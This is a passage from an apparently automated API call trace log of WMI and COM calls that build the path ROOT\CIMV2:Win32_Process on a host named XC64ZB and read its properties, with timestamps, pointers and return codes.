ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b48b530) returned 0x0 [0106.944] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b530, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.944] WbemDefPath:IUnknown:Release (This=0x1b48b530) returned 0x3 [0106.944] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0106.944] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0106.944] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x2 [0106.944] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x1 [0106.944] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0106.944] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0106.944] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x655370) returned 0x0 [0106.945] WbemDefPath:IUnknown:AddRef (This=0x655370) returned 0x3 [0106.945] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x2 [0106.945] WbemDefPath:IWbemPath:SetText (This=0x655370, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0106.945] IWbemClassObject:Get (in: This=0x1b484240, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0106.945] SysStringByteLen (bstr="XC64ZB") returned 0xc [0106.945] SysStringByteLen (bstr="XC64ZB") returned 0xc [0106.945] IWbemClassObject:Get (in: This=0x1b484240, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0106.945] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0106.945] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0106.945] IWbemClassObject:Get (in: This=0x1b484240, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0106.945] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0106.945] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0106.945] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0106.945] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0106.945] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0106.946] IUnknown:Release (This=0x6124e8) returned 0x1 [0106.946] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b5d0) returned 0x0 [0106.946] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b5d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0106.946] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b5d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6554f0) returned 0x0 [0106.946] WbemDefPath:IUnknown:Release (This=0x1b48b5d0) returned 0x0 [0106.946] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6554f0) returned 0x0 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0106.947] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b5f0) returned 0x0 [0106.947] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b5f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.947] WbemDefPath:IUnknown:Release (This=0x1b48b5f0) returned 0x3 [0106.947] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0106.947] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0106.947] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0106.947] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0106.947] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0106.947] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0106.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6554f0) returned 0x0 [0106.947] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0106.947] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0106.947] WbemDefPath:IWbemPath:SetText (This=0x6554f0, uMode=0x4, pszPath="") returned 0x0 [0106.948] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0106.948] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0106.948] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0106.948] IUnknown:Release (This=0x6124e8) returned 0x1 [0106.948] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b5d0) returned 0x0 [0106.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b5d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0106.948] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b5d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655af0) returned 0x0 [0106.949] WbemDefPath:IUnknown:Release (This=0x1b48b5d0) returned 0x0 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655af0) returned 0x0 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0106.949] WbemDefPath:IUnknown:AddRef (This=0x655af0) returned 0x3 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b6d0) returned 0x0 [0106.949] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b6d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0106.949] WbemDefPath:IUnknown:Release (This=0x1b48b6d0) returned 0x3 [0106.949] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0106.949] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0106.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0106.950] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x2 [0106.950] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x1 [0106.950] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0106.950] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0106.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655af0) returned 0x0 [0106.950] WbemDefPath:IUnknown:AddRef (This=0x655af0) returned 0x3 [0106.950] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x2 [0106.950] WbemDefPath:IWbemPath:SetText (This=0x655af0, uMode=0x4, pszPath="") returned 0x0 [0106.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0106.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0106.950] WbemDefPath:IWbemPath:GetClassName (in: This=0x655af0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0106.950] WbemDefPath:IWbemPath:GetServer (in: This=0x655af0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0106.950] WbemDefPath:IWbemPath:SetServer (This=0x655af0, Name="XC64ZB") returned 0x0 [0106.950] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0106.950] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0106.950] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0106.950] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.011] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48aff0) returned 0x0 [0107.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48aff0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0107.012] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48aff0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6554f0) returned 0x0 [0107.012] WbemDefPath:IUnknown:Release (This=0x1b48aff0) returned 0x0 [0107.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6554f0) returned 0x0 [0107.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0107.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0107.012] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0107.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0107.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0107.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b670) returned 0x0 [0107.013] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b670, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.013] WbemDefPath:IUnknown:Release (This=0x1b48b670) returned 0x3 [0107.013] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0107.013] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0107.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0107.013] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0107.013] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0107.013] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0107.013] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6554f0) returned 0x0 [0107.013] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0107.013] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0107.013] WbemDefPath:IWbemPath:SetText (This=0x6554f0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0107.013] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x655af0) returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0107.013] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0107.014] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655af0, uIndex=0x0, pszName="ROOT") returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0107.014] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6554f0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, 